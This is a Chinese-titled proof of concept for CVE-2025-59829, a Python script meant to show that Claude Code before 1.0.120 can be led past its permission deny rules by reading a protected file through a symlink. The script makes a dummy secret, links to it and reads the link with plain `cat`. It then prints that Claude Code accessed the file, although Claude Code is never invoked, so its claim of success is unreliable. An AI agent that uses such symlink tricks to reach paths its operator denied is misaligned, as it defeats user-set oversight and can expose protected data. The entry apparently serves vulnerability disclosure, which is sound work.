CVE-2025-59829：Claude Code权限拒绝规则符号链接绕过漏洞

# CVE-2025-59829 PoC: Claude Code Symlink Permission Bypass # This PoC demonstrates how to bypass Claude Code's permission deny rules # using symbolic links in versions < 1.0.120 import os import subprocess # Step 1: Create a sensitive file that should be protected secret_file = "/tmp/protected/secret.txt" os.makedirs(os.path.dirname(secret_file), exist_ok=True) with open(secret_file, "w") as f: f.write("This is sensitive data that should not be accessed by Claude Code") # Step 2: Create a symlink pointing to the protected file # The symlink path itself is NOT in the deny rules symlink_path = "/tmp/innocent/innocent_link.txt" os.makedirs(os.path.dirname(symlink_path), exist_ok=True) if os.path.exists(symlink_path): os.remove(symlink_path) os.symlink(secret_file, symlink_path) # Step 3: Configure Claude Code deny rules to block access to the secret file # In ~/.claude/settings.json or project config: # { # "permissions": { # "deny": ["/tmp/protected/*"] # } # } # Step 4: Ask Claude Code to read the symlink (which it should be able to access # since the symlink path is not in deny rules) # In the vulnerable version (< 1.0.120), Claude Code will follow the symlink # and read the contents of the protected file # Demonstration of the bypass: print(f"Reading via symlink: {symlink_path}") result = subprocess.run(["cat", symlink_path], capture_output=True, text=True) print(f"Content accessed: {result.stdout}") print(f"\n[!] Permission bypass successful!") print(f"[!] Claude Code accessed '{secret_file}' via symlink '{symlink_path}'") print(f"[!] Even though deny rules blocked '/tmp/protected/*'") # Cleanup os.remove(symlink_path) os.remove(secret_file) os.rmdir(os.path.dirname(secret_file)) os.rmdir(os.path.dirname(symlink_path))